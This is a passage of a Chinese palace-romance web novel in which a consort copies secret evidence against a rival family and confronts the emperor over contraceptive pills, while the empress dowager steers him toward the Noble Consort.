武稷心中敞亮,陛下想和娘娘单独用膳,他在这儿杵着自然碍眼,麻溜道:“是。” 云镜纱托着腮四周睃巡,“陛下来过这儿?” 孟桓启没瞒着,“整个京城的酒楼闻人故都跑遍了,这家的菜色还不错,他带我来过。” “闻人故?”云镜纱眨眼,“是东平郡王?” “嗯。” “说起来,进宫这么久,我还没见过郡王爷。” 孟桓启皱了下眉,想起闻人故不修边幅的模样,语气嫌弃,“他没什么好看的。” 云镜纱好奇,“不是说,郡王英俊潇洒,风流倜傥?” 孟桓启倒茶的动作微顿,目光徐徐落在云镜纱姣美的脸庞,“不,他青面獠牙凶神恶煞,脾气暴躁,贪财好色,府中养了三十六房妾室。” 云镜纱惊了一瞬,第一反应是孟桓启在开玩笑,可看着他严肃的神色,又不似作假。 她迟疑问:“当真?” 孟桓启语气郑重,“朕从不说谎。” “朕”都用上了,云镜纱越发肯定他是在说笑。 眼中溢出星星点点的笑意,正要开口,一道清朗男声截住她的话音。 “哟,这不是从不说谎孟某人吗?” 云镜纱偏头。 一道颀长 身影缓步而来。 男子一身红衣似火,墨发如绸缎,一半用红绸挽起,一半随意披在肩头。 桃花眼狭长,眼里蕴着勾魂夺魄的光,肤色雪白,腰身劲瘦,骨节分明的修长手掌拿着一把扇子,有一搭没一搭地落在掌心。 双眼微眯盯着孟桓启,嘴角勾起一抹冷笑,视线转向云镜纱,他蓦地笑了,“弟妹好啊。” 云镜纱心中略有猜测,“你是?” 闻人故笑容越发柔和,话里阴阳怪气直冲孟桓启而去,“正是青面獠牙凶神恶煞脾气暴躁贪财好色,府中养了三十六房小妾的东平郡王,闻人故本人。” 孟桓启:“……” 第60章 难得见孟桓启一脸吃瘪,云镜纱忍俊不禁,起身微微屈膝,“郡王。” “诶诶诶,可别。” 闻人故伸手拦住,笑眯眯道:“该是我向你行礼才对。” 手腕一转,折扇朝下,双手作揖,“见过婕妤娘娘。” 云镜纱:“……出门在外,郡王不必如此客气。” “哈哈哈哈。”闻人故大笑,“我就跟你客气这么一次。” 衣袂一转落座于孟桓启身侧,闻人故目光落在云镜纱身上,细细打量着。 他的目光并不狎昵,反而干净清澈,云镜纱并无不适感,任由他端详。 片刻后,闻人故挑了挑眉,喟叹道:“怪不得表弟要藏着掖着,弟妹这般姿色,让人见了实在不放心。” 孟桓启:“不会说话就不要说。” “嘿你这人,我怎么不会说话了?” 闻人故怒了,“当初在敏淑府上,不是你想方设法阻拦我见弟妹的?” 他越说越气,“还有,你刚才说的什么乱七八糟的?你就是这么在弟妹面前诋毁我的?” 闻人故挤着孟桓启,把脸凑上去,愤怒地指着自己的脸,“睁开你的狗眼看看,你表哥我要是青面獠牙凶神恶煞,这世上还有俊美的男子吗?睁眼说瞎话也不是你这么说的!” 孟桓启一掌糊在他脸上把人推开,面无表情道:“你可不就是凶神恶煞。” 闻人故大怒,“表弟,你过分了!” 孟桓启:“……让你说回来便是。” 愤怒的表情一顿,闻人故眼睛一转,忽地笑了,“行,这可是你说的。” 他朝云镜纱看去,笑意盎然,“弟妹,你是不是被他这一本正经的模样骗了?这小子看着冷冰冰的,但内心跟个孩子似的,一不如意就往树上爬,一待就是一晚上,就等着人去哄他,有次唔唔……” 孟桓启一把捂住闻人故的嘴,压低嗓音,“表哥,我错了。” 一听这话,闻人故乐了,眉尾上挑。 你小子也有给我道歉的一天。 闻人故眼睛眨了眨,孟桓启知道他这是不计较了,舒了口气,缓缓松手。 闻人故挑眉小声道:“这么不自信?人家姑娘都是你的了,还防着呢?” 孟桓启敛眉。 因为是她,所以总是患得患失。 若有一日,他对她没了意义,她会留下吗? 闻人故一脸稀奇,本是随口一说,没想到他这表弟是真的不自信啊。 堂堂一个皇帝,还怕留不住一个姑娘的心? 哎呀呀,情之一字,果真轻易碰不得。 连他表弟这么冷心冷情的人都栽了。 幸好他的心很广,能装下不止一个姑娘。 收敛心神,闻人故笑着对云镜纱道:“我这表弟极少出宫,今日在这儿见到弟妹,可真是让我吃了一惊。他一心扑在政事上,不喜风花雪月,能陪弟妹出宫游玩,这可真是稀罕事。” 云镜纱抿唇一笑,面含赧然,“郡王误会了,今日出宫,是去见了一个人。” “人?” 想了想今天是什么日子,闻人故恍然大悟,“是容老爷子吧?” 他笑意更甚,“算他有心,还能想起带弟妹去见容老爷子。” 云镜纱不解。 容夫子到底是什么身份?从闻人故话音来看,他对孟桓启来说应该是个极为重要的人。 心里疑惑,她对闻人故笑笑不说话。 小二上了菜,孟桓启给云镜纱夹了片牛肉,侧头问道:“你今天怎么在这儿?” “当然是吃饭啊。” 闻人故捏着筷子,心情很是不错,“这家酒楼的鸡做得极好,一段时日不吃就想得慌。” 孟桓启没再说什么,又给云镜纱夹了块鸡肉。 酒足饭饱,闻人故晃着茶杯,抬手敬向孟桓启,笑眯眯道:“多谢表弟款待。” 孟桓启斜他,端起茶杯,与他轻轻一碰。 结完账,叫上武稷,三人一道离开酒楼。 孟桓启搀扶着云镜纱上了马车,转身和闻人故说话。 车窗开着,各有千秋的两名男子站在一处,格外赏心悦目。 手肘放在车窗上,云镜纱眸色微深。 这俩表兄弟,看起来感情的确不错。 正要收回视线,一道哭声忽然吸引了她的注意。 一名女子拉着板车,哭哭啼啼地艰难往前走,她身前挂着一块木牌,因夜色昏暗,云镜纱没看清上边写了什么,不过从板车上搭着的白布来看,也不难猜出。 果不其然,随着她走近,云镜纱看见了木板上歪歪扭扭的四个字:卖身葬父。 孟桓启和闻人故正站在那女子前方,她眼里含着泪,放下板车,跪在二人身前。 看见这一幕,云镜纱不知为何心里憋屈得慌。 然而,下一瞬孟桓启便转身抬步走向马车。 她一怔,有些没回过神来。 视野中,闻人故似是叹了声气,取下腰上钱袋子,在女子感激涕零之下潇洒转身,对她和孟桓启挥了挥手,“表弟,弟妹,我先回了。” 孟桓启已上了马车,微微一颔首。 云镜纱回神,笑着说好。 武稷“驾”一声,马车缓缓前行,与那女子和板车相对而行。 云镜纱听见那姑娘拦住闻人故,哭着说着感谢的话,话里话外是要随他回府。 闻人故拒绝了,那姑娘依旧不依不饶,只说已是他的人。 马车逐渐远离,闻人故瞧着似有些不耐烦,嗓音飘得越来越远。 “……不是什么女人本王都得带回府的,你……” 后面的话便听不清了。 不是说,东平郡王最是怜香惜玉? 云镜纱回忆着那姑娘的模样,虽不至于绝色之姿,但也清秀可人,竟被不留情面地拒绝。 “在想什么?” 孟桓启的声音拉回了云镜纱的思绪。 她“啊”了一声,“在想郡王为何不带那姑娘回府。” 孟桓启:“他那人最是吹毛求疵,不是十分合他心意的美人,断不会带回去。” 他长腿伸直,姿态不羁懒散,“就算带回去了,最大可能也是当个婢女乐师。” 云镜纱这回是真的惊讶了,“不是说郡王姬妾成群?” 想起方才在酒楼编排闻人故的话,孟桓启不自在地咳了一声,“真正的只有三个。” 三个对比闻人故这种皇室宗亲来说,的确是少数了。 可云镜纱的父母一生只有彼此,耳濡目染之下,她崇尚的婚姻是一生一世一双人。 但自从下定决心进宫之后,这对她来说已成为奢望。 思绪飘了一瞬,云镜纱笑着调侃,“郡王如此挑剔,那三个姑娘岂非人间绝色?陛下可见过?” 孟桓启:“去他府上见过两次。” 云镜纱好奇追问:“漂亮吗?” 客观来说,的确是漂亮的,孟桓启点了下头。 下一瞬,就见眼前的姑娘眨了眨水润双眼,身子依偎过来,目光娇嗔,“那是她们漂亮,还是我漂亮?” 孟桓启拧眉,“无法作比。” “为何?” “她们生得如何都与我无关,你……”顿了顿,他挪开了视线,清咳一声,“你无论什么模样,都是最好的。” 孟桓启不会说情话,以往在榻上,两人水乳交融时,他只会低喘着一遍又一遍叫她“霂儿”。正因如此,他这句话才会在云镜纱心里掀起惊涛骇浪。 一颗心仿佛泡在温水中,暖洋将它包围,让冰冷多年的心脏回温,冒出一点新绿。 这是他第一次吐露对她的在意欢喜。 眨了下酸涩的眼眶,云镜纱害羞似的钻进孟桓启怀里,“那方才遇见那姑娘时,陛下是为了我才转身就走的吗?” 孟桓启揽住她的腰,诚实回复,“不是。” 云镜纱:“……” 恼怒一点点升起,她刚要抬头,感受到胸腔震动。 孟桓启:“天下苦难人成千上万,若一个个都要我救,恐怕一生一世都救不完。我是个皇帝,我会尽自己所能理朝政,利民生,造福百姓。我为他们创造了机会,如何能将日子过得更好,那是他们自己的事,仅此而已。” 云镜纱抬头。 他 的眼里平静无波,瞳仁像极了黑曜石,黑沉沉的,无法窥探眸底真正的情绪。 云镜纱此刻才发觉,眼前这个男人从某个方面来说,是个无情之人。 他心里装的东西太大,一个人的苦难,并不能引起他的同情共鸣。 唯有社稷安稳,才能分去他的目光。 云镜纱笑了笑,眼角泄出愉悦的光,乖顺地窝在孟桓启怀里。 “我知道了。” …… 回到玉华宫时已是戌时末。 守在宫门口的尹寻春眼睛一亮,一声“姑娘”险些脱口而出,在看见孟桓启时又硬生生咽了回去。 丰熙和芳音也赶忙迎了出来。 “陛下,娘娘。” 奔波了一日,云镜纱也累了,掩唇秀气地打了个哈欠,“备水,我和陛下要沐浴。” 二人忙去吩咐。 不知云镜纱何时会归,玉华宫时刻烧着热水,就等她回来用。 宫人们手脚麻利地抬水进去,安置妥当后,一个个恭恭敬敬地退出。 孟桓启起身望着云镜纱,嗓音喑哑,“一起?” 云镜纱蓦地红了脸。 今日毕竟是在外边,何况还有长辈在,二人就算再怎么动情,也忍住了情潮,顶多亲亲蹭蹭。 现下回了宫,想必他是忍不住了。 云镜纱也没打算忍,红着脸小声道:“陛下先去,我一会儿就来。” 孟桓启目光沉沉从她羞红的脸上扫过,催促一声,“快些。” 云镜纱含糊应了,看着他大步进了浴房。 她眸光微敛,脱下外衫,从衣物里取出被帕子包裹住的药丸。 盯着那药丸看了片晌,云镜纱把它放在妆台的隔层里。 哪天让何太医看看,这药丸究竟是什么东西。 60-70 第61章 中秋前,闭宫许久的舒裳晚终于走出凤仪宫,先是去慈宁宫给太后请了安,随后便忙活起中秋宴。 作为一个手里无权的宠妃,这种事云镜纱自然是插不上手的。 天气渐凉,她每日去御花园走走,再去长极宫献献殷勤,倒是和孟桓启相处越发融洽。 只可惜,同房这么久,她的肚子始终没有音信。 虽然知道这种事得看缘分,但她终究还是有些急了。 喝药伤身,她又不愿为了生个孩子弄垮自己的身子,只能勉强让自己静下心来。 这日去长极宫送糕点,高德容一见云镜纱便扬起笑。 次数多了,孟桓启吩咐过,只要是她来,不必通报,直接进去。 高德容满脸是笑地迎她进偏殿,“陛下正在接见兵部的几位大人,娘娘先候着。” 云镜纱唇边含笑,“有劳公公。” 高德容笑容更甚,去吩咐宫人上茶。 云镜纱把食盒放在桌上。 自从孟桓启不让她进厨房后,凡是给他送汤送糕点,她都是让别人动手。 宫人小心翼翼地奉上茶,“娘娘请用。” 云镜纱温声,“多谢。” 她嘴角带笑,态度温和,杏眼桃腮,丽质天成,看得小宫人面上发红,恭敬退下。 小宫人很是贴心,水温不冷不烫,云镜纱浅抿一口,口感清新。 放下茶盏,款款走到那幅画前,视线安安静静地扫过画的每一个角落。 姑娘的背影纤细,但并不瘦弱。阳光自窗外穿透而进,在大理石造就的地面留下一道长影。 她看着那幅画,长睫翩跹似蝶翼,纤美又脆弱。 “笃笃。”高德容敲门,“娘娘,大人们都离开了。” 云镜纱转身,“好。” 拎着食盒,徐徐转去正殿。 孟桓启坐在御案后,见她来了,扔掉手里奏折。 云镜纱笑着向他走近,“刚出炉的桂花糕,陛下尝尝?” 打开食盒,她拿了块糕点,笑盈盈地递到孟桓启嘴边。 他咬了一口。 “好吃吗?” 孟桓启颔首,“不错。” 云镜纱便把糕点放在他手里,语调含笑,“陛下喜欢就多吃些。” 他低眸瞧了眼糕点,又看了看立在身边浅笑的姑娘,沉默两息,自己吃了。 云镜纱端详着他的神色,“陛下昨夜没睡好?” 孟桓启“嗯”一声。 他昨晚歇在明熙殿,云镜纱不知因为何事没睡好,但她很有分寸地不去打听,温柔道:“现在时辰还早,陛下去歇会儿吧,我守着陛下。” 孟桓启喝了口茶去除嘴里甜味,拉着她的手走向软榻,“你陪朕。” “我。日日睡到日上三竿,现在哪睡得着啊,我看着陛下睡就好。” 孟桓启躺下,云镜纱靠坐在榻边,随手拿了本话本子,笑眼弯弯道:“陛下快睡吧,半个时辰后我叫你。” “好。” 孟桓启阖上双眼。 云镜纱翻开话本,耳侧碎发低垂,勾勒出一抹温柔弧度。 翻了几页,云镜纱放下话本,凑到孟桓启耳边轻声道:“陛下?” 回应她的唯有均匀平缓的呼吸声。 云镜纱眸色一暗,起身快步来到御案边,摸到一块凸起,手指用力一拽。 一方暗格出现在她眼前。 方才云镜纱便发现了,哄着孟桓启去歇息,就是想看看这里究竟有什么东西。 暗格内放着信封,瞧那纸张应是新的,想来送上来的时间应当极近,或许是自恃此处不会有人有胆子窥探,又或许是孟桓启还没来得及把东西转到更隐蔽的地方,这才便宜了云镜纱。 她拿起信封,抽出里边的信纸。 视线扫下去,云镜纱瞳孔震颤,心脏“咚咚”直跳,仿佛要破开胸腔跳出来,拿着纸张的手都在抖。 竟然是冯家侵占良田、逼死良民大肆敛财,纵仆行凶的罪证。 冯家,是舒家的姻亲,舒含昭的外祖家。 他收集这些做什么? 云镜纱看向躺在榻上的孟桓启,心中久久不能平静。 难道他想动冯家? 宛如置身于巨浪之中的小船上,云镜纱头脑晕眩,身子在晃,她双手撑在案上,捏着纸张的手收紧。 舒家是他的外家,冯家与舒家一荣俱荣,一损俱损,她不敢去赌,再等等。 再等几日,看他会不会有动作。 定了定神,云镜纱将纸上所书全部记在脑海深处,把纸张放回去,细心关上暗格。 检查完毕后,她回到孟桓启身侧,重新把话本捏在手里。 她完全看不进去,脑中一片混沌,随后是难以言喻的欣喜。 若能扳倒冯家,对舒家将是巨大的打击。 外祖一家获罪,想到舒晋和舒含昭到时的神色,她心里阵阵畅快。 胡思乱想了许多,眼见时辰将近,云镜纱终于平静下来,安静垂眸看话本。 半个时辰一到,她叫醒孟桓启,“陛下,该醒了。” 闭着眼的男人眉心微皱。 云镜纱心情好,指尖撩起一绺发丝,发尾从孟桓启脸上轻扫而过,“陛下,快醒醒。” 孟桓启掀开眼皮。 睁眼的刹那,眼底残存的睡意如流水退却,声音微哑,携带些微慵懒,“到时辰了?” 云镜纱:“是呀。” 孟桓启揉着眉心坐起,不过片刻的工夫,眉心倦色消失殆尽,轻柔摸了下云镜纱的头顶,他温声道:“再等等,朕一会儿陪你用膳。” 云镜纱愉悦地弯着眼,“好。” 孟桓启看她,“这么高兴?” 抱住他的腰,云镜纱贴着孟桓启的胸膛蹭了蹭,眼里笑意繁盛,“陛下陪我用膳,我当然高兴。” 这般依赖的神情动作让孟桓启轻轻扬 了下眉,眸光一点点变柔,大掌轻轻抚摸她披在背后的柔顺长发。 今年的中秋宴办得很简单,只在慈宁宫设了桌家宴,陪着太后吃了两块月饼赏了月,便各自散去。 临走前,太后留了舒裳晚说话。 中秋过后,云镜纱等了半个多月,始终没在朝堂上听到冯家的消息。 这是打算按下不表了。 她说不出心里是何滋味,或许各种各样的都有,但最多的,一定是失望。 独坐一个时辰,云镜纱眸色一点点变冷。 起身来到书案,她缓慢研墨。 云镜纱的记性很好,更别说还是这种大事,那日看到的一字字烙印在她脑海深处,几乎不做思考,便誊到了纸上。 等墨干了,云镜纱取了个信封装好,唤来尹寻春,“把这封信给景哥送去。” 尹寻春:“好。” 云镜纱语气郑重,“这信里的东西极为重要,一定要确保它安全无误送到景哥手中。” 尹寻春打起精神,“姑娘放心。” 云镜纱揉了揉额角,“去吧。” …… 七月流火,秋高气爽。 最近天气转凉,宫里染风寒的宫人增多。 云镜纱一直注意着,倒是没什么大碍。 这日孟桓启到玉华宫的时辰有些晚。 云镜纱听说贵妃娘娘最近往长极宫的走动多了,迎上去时,从孟桓启身上闻到了一股陌生的香味。 她顿了顿,又若无其事地拉着孟桓启的手进殿,“天气凉,陛下最近多注意些,可千万别染了风寒。” 孟桓启:“好。” 刚一出声,云镜纱便察觉到了不对,鼻音有些重,不似以往的清冽。 她拧了眉,“丰熙,上碗姜茶,要热的。” “是。” 孟桓启捉着云镜纱的手,感受着满手滑腻,嘴角轻轻上勾,“朕身体一向康健,用不着紧张。” 云镜纱嗔他一眼,牵着他走到榻边坐下,“身体康健的人不病就罢了,一旦生病,可有你受的。” 她匆匆往外走,“我去看看丰熙煮的姜茶如何了。” 一路走到小厨房门口,云镜纱蓦地停住,眸色晦暗。 半晌,她深吸气,迈过门槛。 一碗姜茶下肚,孟桓启额上出了汗,云镜纱轻轻给他擦拭,食指点了点他眉心褶皱,“辣吗?” “还成。” 能忍受。 云镜纱笑了,抬手给他塞了一颗蜜饯,嗓音温软,“甜吗,好吃吗?” 不等孟桓启回答,环住他宽阔肩膀,下巴放在他肩上,温温柔柔地说:“你自己做的,可不许嫌弃。” 孟桓启:“……甜,好吃。” 云镜纱靠着他,嘴角漾起笑。 翌日,云镜纱是被一阵咳嗽声吵醒的。 她迷迷糊糊睁开惺忪睡眼,撩开帘帐,便见孟桓启半弯着腰,握拳抵在唇边咳嗽,高德容站在不远处,脸上明显担忧。 “怎么了?” 云镜纱下了床。 孟桓启拦住她,“别过来,当心给你染上。” 残存的迷茫彻底散去,云镜纱忧心道:“还真病了?” 孟桓启又咳了一声,有些赧然。 昨天还信誓旦旦说自己身体康健,今日便得了风寒,她会不会以为自己嘴硬,实则弱不禁风? 不过想起以往在榻上没多久她便喊着受不住,孟桓启又放心了。 这次真的是意外。 “这几日朕不过来了,你也别去长极宫和明熙殿,等朕痊愈了再来看你。” 云镜纱还想说什么,孟桓启咳了一阵,又道:“朕先走了,你再睡会儿。” 话落,他匆匆离开。 孟桓启走了,云镜纱也睡不着了,吃了早膳坐了会儿,终究是放心不下,起身去了长极宫。 谁想高德容把她拦在了殿外,“娘娘,陛下吩咐过了,不准您进去。” 听着殿内不时传出的咳嗽声,云镜纱拧眉,“进去看看也不行?” 高德容一脸为难摇头。 云镜纱心里窜着一股气,她没工夫分辨那是什么,又问:“请太医看过了?熬药了吗?” “请了,太医院院首亲自来看的,药也正熬着,娘娘尽管放心。” 云镜纱抿唇,“这几日劳烦公公仔细照料着。” 高德容笑,“奴才分内之事,公公尽管放心。陛下吩咐,让娘娘回头也请个太医看看,防患于未然。” 云镜纱:“好。” 回去的路上,尹寻春先行一步去了太医院,等她回到玉华宫时,何呈光已经到了。 诊完脉,何呈光收手,“娘娘无碍,只是最近天凉,要注意增衣,屋内最好保持通风。” 云镜纱颔首。 她忽然想到什么,对丰熙几人道:“我还有事要问何太医,你们先下去吧。” “是。” 等人走了,云镜纱起身来到妆台前,从隔层内取出一物。 本想回宫之后便让何呈光看看这是何物,但她一时忘了,直到今日才想起。 把东西放在桌上,云镜纱掀开手帕,露出里边的一枚褐色药丸,“劳烦何太医替我看看,这是何物?” 何呈光小心拾起那枚药丸,凑到鼻端闻了几下,又用刀刮下一小片放进嘴里尝了尝。 他脸色微变,眉头一下皱起。 打量着何呈光的神色,云镜纱心里微沉,掐着掌心问:“可看出来了?” 第62章 何呈光把药丸放回帕子,神色犹豫斟酌着言辞。 云镜纱抿唇,“你只管说。” 何呈光垂首,“这是用于男子避孕的药物。” 避孕。 仿佛有根针在心上扎了一下,扎得她一阵阵地疼。 难怪,难怪。 难怪他们圆房至今,她始终不见喜信。 她安慰自己这事急不得,可谁能想到,竟是他在暗中服用了药物。 云镜纱紧紧闭上眼,指甲深深陷入掌心软肉。 很疼,却比不上心里的窒息闷痛。 何呈光埋着头,不去看上首姑娘的神色。 他安静地等着,忍着后颈酸痛,直到听到一道冷冽女声。 “下去吧,今日一事若是传出去半个字,我全算到你头上。” 何呈光一凛,恭声道:“是,臣必当守口如瓶。” 婕妤手里的药丸无非是从陛下手中得到的,这种宫廷密辛,他是嫌自己活得太久才会传出去。 他还想攒够俸禄,等那姑娘长大后去提亲呢。 “臣先行告退。” 窸窸窣窣的动静后,屋里没了人。 云镜纱坐了许久,听见丰熙的询问声,“娘娘可要奴婢们进去伺候?” “不用。” 云镜纱:“我困了,想睡会儿。” “那等到饭点奴婢再唤您。” “好。” 云镜纱睁眼,杏眼微红,眼里泛着一层水光。 她盯着那枚药丸看了许久,缓缓伸手拿在手里,带着将它碎尸万段的力道,掌心蓦地收紧。 …… 孟桓启尚年轻,外加习过武身子康健,养了两日风寒便已大好。 这日看完奏折时天还未黑,他揉了两下酸胀的太阳穴,径直去了玉华宫。 进了殿,孟桓启环视,“你们娘娘呢?” 芳音回:“娘娘在寝殿。” 他随意点头,“去传膳吧,这里不用你们伺候。” 孟桓启抬步进了寝殿。 纱帐落下,他一眼看见云镜纱坐在榻上,双目虚浮,似是在发呆。 “在想什么?” 云镜纱回了神,淡淡应了一声,“陛下来了。” 孟桓启眉心轻皱,在她旁边坐下,“发生了什么?” “没什么。” 云 镜纱面色冷淡,“只是心情不好。” “心情不好也总得有个理由。”孟桓启并不相信这个借口,“和朕说说,到底怎么了。” “陛下当真想知道?” 云镜纱偏头看他。 这话里的戾气让孟桓启意外,却还是点了头,“想。” 在孟桓启面前,云镜纱一向装得很好,可是现在她暂时不想装了,蓦地冷笑一声离开软榻。 片刻后,她向孟桓启摊开手,质问道:“陛下先告诉我,这是什么?” 白嫩掌心躺着一张帕子,帕子上一颗被捏得看不出原形状的东西,可即便如此,孟桓启还是认出来了。 那一瞬间,仿佛有瓢泼大雨倾盆而下,将他淋得哑口无言。 “陛下。” 云镜纱红着眼,不依不饶地追问:“还请你告诉我,这东西是什么?” 孟桓启张了张唇,嗓音发哑,“避子药。” 豆大的泪珠夺眶而出,“啪嗒”砸在地面,云镜纱忍住啜泣,可哭腔还是溢了出来,嗓音颤抖,“为什么?” 见她这般伤心,孟桓启心里难受,“霂儿,你先别哭……” 云镜纱打断他,睫毛被泪珠打湿,泪水源源不断涌出,“你知道我有多渴望拥有一个属于自己的孩子吗?” 爹娘走了,姐姐走了,小圆也不在了。 她身边的亲人,一个都没了。 哪怕生孩子不乏利用,可她是真心想要一个孩子。 有了孩子,血脉得以延续,她在这天底下,就再也不是孤零零一个人了。 可他在同房前吃避子药。 还有那个香囊,追查了这么久还是一无所获,鸳鸯背后的人到现在都没露出马脚。 在这宫里能有这么大能耐就那几个人,偏他们一个个的都不想让她有孕。 云镜纱哽咽,“我只是想要一个孩子……” 孟桓启揪心地疼,去拉她的手,“霂儿……” “别碰我!” 云镜纱骤然后退一大步,孟桓启的手僵在空中。 失控的情绪得以发泄,云镜纱快速冷静下来,计算着最优反应。 杏眼里含着泪水,她哭得梨花带雨,紧蹙的眉心彰显着伤心欲绝,楚楚可怜。 半真半假地说:“我自幼没了父母,对我来说,亲人是全天下最梦寐以求的存在,我满心欢喜地期盼有一个和陛下的孩子。可没想到,一切都是我的奢望。” “我以为陛下待我有几分情意,我为这情意沾沾自喜,哪怕贵妃刁难,只要念着陛下,一切磨难我都可以置之不理,可你为什么要这么对我?” 云镜纱抬起泪眼,声声含泣,“倘若陛下嫌我位卑,不配孕育皇嗣,那陛下不如将我就此打入冷宫,也不必再吃那些伤身的药,以免伤了龙体。” “不准胡说!” 孟桓启低斥一声,手握成拳,“霂儿,朕绝无嫌你之意。” “那你告诉我,为什么?” 云镜纱执拗地看着他。 孟桓启嘴角绷直,只道:“现在还不是时候。” “什么日子才是陛下所谓的‘时候’?” 云镜纱凄苦一笑,“陛下哪怕是编,都不愿编个像样的理由吗?” 孟桓启额角两条青筋鼓动,小臂肌肉线条绷成直线。 他在犹豫,是否要将事情全盘托出。 无论她想做什么,他终究不愿将她牵扯进来。 情绪在拉扯,耳畔是她的哭声,孟桓启心脏钝痛,太阳穴跳动,头脑胀痛。 等不到他的答案,云镜纱眸色深冷,背过身去不再看他,忍着哽咽道:“臣妾身子不适,无法伴驾,陛下请回吧。” 除了进宫那日,她极少在他面前自称“臣妾”。 孟桓启嘴唇颤抖,“霂儿……” “陛下。” 姑娘身形纤弱,腰背挺得很直,冷淡而恭敬地对他道:“请回吧。” 孟桓启看着她。 不管她如何对他虚情假意,虚与委蛇,他只要她留在他身边。 倘若开诚布公,他们之间的关系或许会发生转变。 可他不愿,也无法忍受她对他公事公办,一脸冷淡。 现在这般就极好,他不想改变。 她现在正在气头上,什么都听不进去,等她气消了,他会给她交代。 再等等,等她心里有了他,等一切尘埃落定,他一定会给她一个孩子。 动了动僵硬的身子,孟桓启低声道:“好,你先休息,朕过些时日再来看你。” 最后看了她一眼,男人提步离开。 脚步声远去,云镜纱停下哭声,缓慢擦去脸上的泪。 容夫子说的没错,姑娘若是柔顺惯了,一定会吃亏。 果不其然,她这不就是吃了个闷亏? 希望她闹了这么一场能有所收获,最起码也要让他看到她的态度,不再吃那该死的避子药。 …… 九月初一是去向太后请安的日子。 一大早,帝妃三人便聚集在慈宁宫。 云镜纱沉默着低头吃茶,光听上头的母子二人说话。 两刻钟后,太后便让人散了。离开之前,云镜纱听见她道:“皇帝,你留下。” 她回头,对上一双漆黑的眼,与他对视片晌,云镜纱默默移开视线,行了一礼,恭敬退去。 这段时日孟桓启依旧常去玉华宫,可二人之间的氛围急转直下,冷淡得很。 夜里也只是单纯地躺在一张床上。 贴身的丰熙几人自然察觉了,除了尹寻春,一个个的担心不已,劝娘娘与陛下和好如初。 可娘娘平日里那般软和的人,这次不知怎的执拗得很,依旧我行我素,让芳音担心不已。 出了慈宁宫,云镜纱维持礼数与舒裳晚打了个招呼,不等她回应,直接带人走了。 舒裳晚意外,悄悄问丹莹,“他俩这是吵架了?” 丹莹摇头,“不知。” 耸耸肩,舒裳晚道:“走吧。” 回凤仪宫的路上遇到一队禁卫,看着人群中一道熟悉身影,舒裳晚眼里含笑,施施然回了宫。 那头,纤细身影消失在视野里,孟桓启回头,“母后想说什么?” 太后饮了茶,杯底与桌面相碰,发出沉闷的一声响,“启儿,你都多久没去过凤仪宫了?” 她语重心长道:“你已经老大不小了,膝下也没个一男半女,云婕妤进宫这么久至今没传出喜信,一时半会的想必也没什么好消息。” “你表妹幼时吃了不少苦,被养得胆子小了些,哪怕心里念着你也不敢去叨扰,我这个做姑姑的心疼她,少不得为她张罗。” “启儿,母后知道你不喜她,这么久以来,你哪怕十天半个月才去一次凤仪宫,母后从未说过什么。可云婕妤进宫后你独宠她一人,彻底将你表妹撂在一边,她怎么受得了?” “看在母后的面子上,启儿,你好歹给她一个孩子,让她心里有个慰藉。” 孟桓启低头喝茶。 白雾模糊了他的眉眼。 舒杜两家在朝堂上闹得不可开交,这些时日,两边皆有折损,其中舒家的损失更大。 她这是急了。 孟桓启放下茶盏,“好。” 太后面色一喜,握住孟桓启的手叹道:“你从小就是个乖孩子,那么小一点就会心疼母后。启儿,能生下你,是母后的福气。” “择日不如撞日,启儿,你今夜便去凤仪宫吧。” 孟桓启敛眉,“听母后的。” 得他保证,太后心满意足地目送孟桓启离开。 他在慈宁宫门前站定片刻,随后回了长极宫处理朝政。 天色渐暗,高德容进来请示,孟桓启道:“传膳。” 用了晚膳,孟桓启起身,“去凤仪宫。” 高德容惊讶,陛下今夜竟不去玉华宫了? 转念想到今日刚见了太后,又释然。 看来是太后在作妖。 凤仪宫内,舒裳晚刚放下碗筷,听见通传声一时有些不可置信。 她还怔愣着,飞荷欢天喜地应了上来,恨铁不成钢道:“娘娘,你还不快准备接驾?” 和丹莹对视一眼,舒裳晚反应过来,脸上瞬间带了轻快的笑,神情欢喜又紧张,仿佛真是一个迎来心上人的普通姑娘。 她带着宫人在宫门迎接。 须臾后,帝王銮驾徐徐映入眼帘,舒裳晚打起精神,笑意盈盈屈膝,“臣妾见过陛下。” 宫人停步,孟桓启迈下銮驾,看她一眼,颔首道:“进去吧。” 舒裳晚提着裙子跟在他身后。 “都退下。” 刚迈入殿中,宫人们便听年轻帝王冷冽的声音,急急退出去。 舒裳晚给丹莹使了个眼神,又看了飞荷一眼。 她了然,轻轻点了下头,与飞荷一道退下。 殿内无人,寂静无声,孟桓启在紫檀木太师椅上落座,视线落在舒裳晚身上。 那目光极具压迫力,舒裳晚咽了口唾沫,安静等候。 良久,孟桓启收回视线,声线冷寒,“贵妃,你该有孕了。” 第63章 舒裳晚一震,蓦地抬头。 坐在太师椅上的男人一身精致玄衣,侧脸映着暖黄烛光,另一边脸隐在黑暗中,半明半昧。 从她的角度,能看见他漆黑凤眸里蕴含的光点,像极了阳光下刀刃出鞘时刀尖闪烁的冷芒。 他一手放在膝上,姿态略显随意,强大的压力却朝她迎面扑来。 舒裳晚知道,这不是商议,而是通知。 意识到这事背后蕴含的深意,她指尖激动颤抖,深吸一口气压下内心惊涛骇浪,红唇一点点勾起,嗓音清冽,“我知道了。” “嗯。” 见她明白,孟桓启颔首,转身走进寝殿。 舒裳晚跟在他身后。 见孟桓启径直往贵妃榻旁的椅子走去,她顿了瞬,提议道:“陛下不如去榻上歇息吧。” 孟桓启偏首看了眼贵妃榻。 上头放了个软枕,一张薄毯和一把团扇,一看便知是姑娘家的物品。 他拒绝,“不用。” 舒裳晚腹诽一句,连她的贵妃榻都不愿躺,宁愿在椅子上将就一夜,这人还真是洁身自好。 不过她也就是劝一句,他听不听就不关她的事了,点点头往床榻走。 “这个月朕会多来几次,你莫去惹她。” 冷冽嗓音自背后响起,舒裳晚摸了摸手臂上的小疙瘩,无语片晌,“……好。” 嫌弃地撇撇嘴,她掀开帐子钻进去。 孟桓启皱眉睁眼,听着帐内平缓的呼吸声,很不自在。 耳畔依稀响起殿外高德容的说话声,他望着灯罩内燃起的火光,思绪回到了玉华宫。 得知他来了凤仪宫,她会是什么反应? 满不在乎,还是会有那么一点点吃醋? 孟桓启呼吸快了一瞬,满心烦闷。 过了片刻,他起身将帐子扯落,厚重的帘帐遮挡住寝殿内的情形。 扬声道:“备水。” 门外高德容应道:“是。” …… 得知孟桓启去了凤仪宫是在第二日的中午。 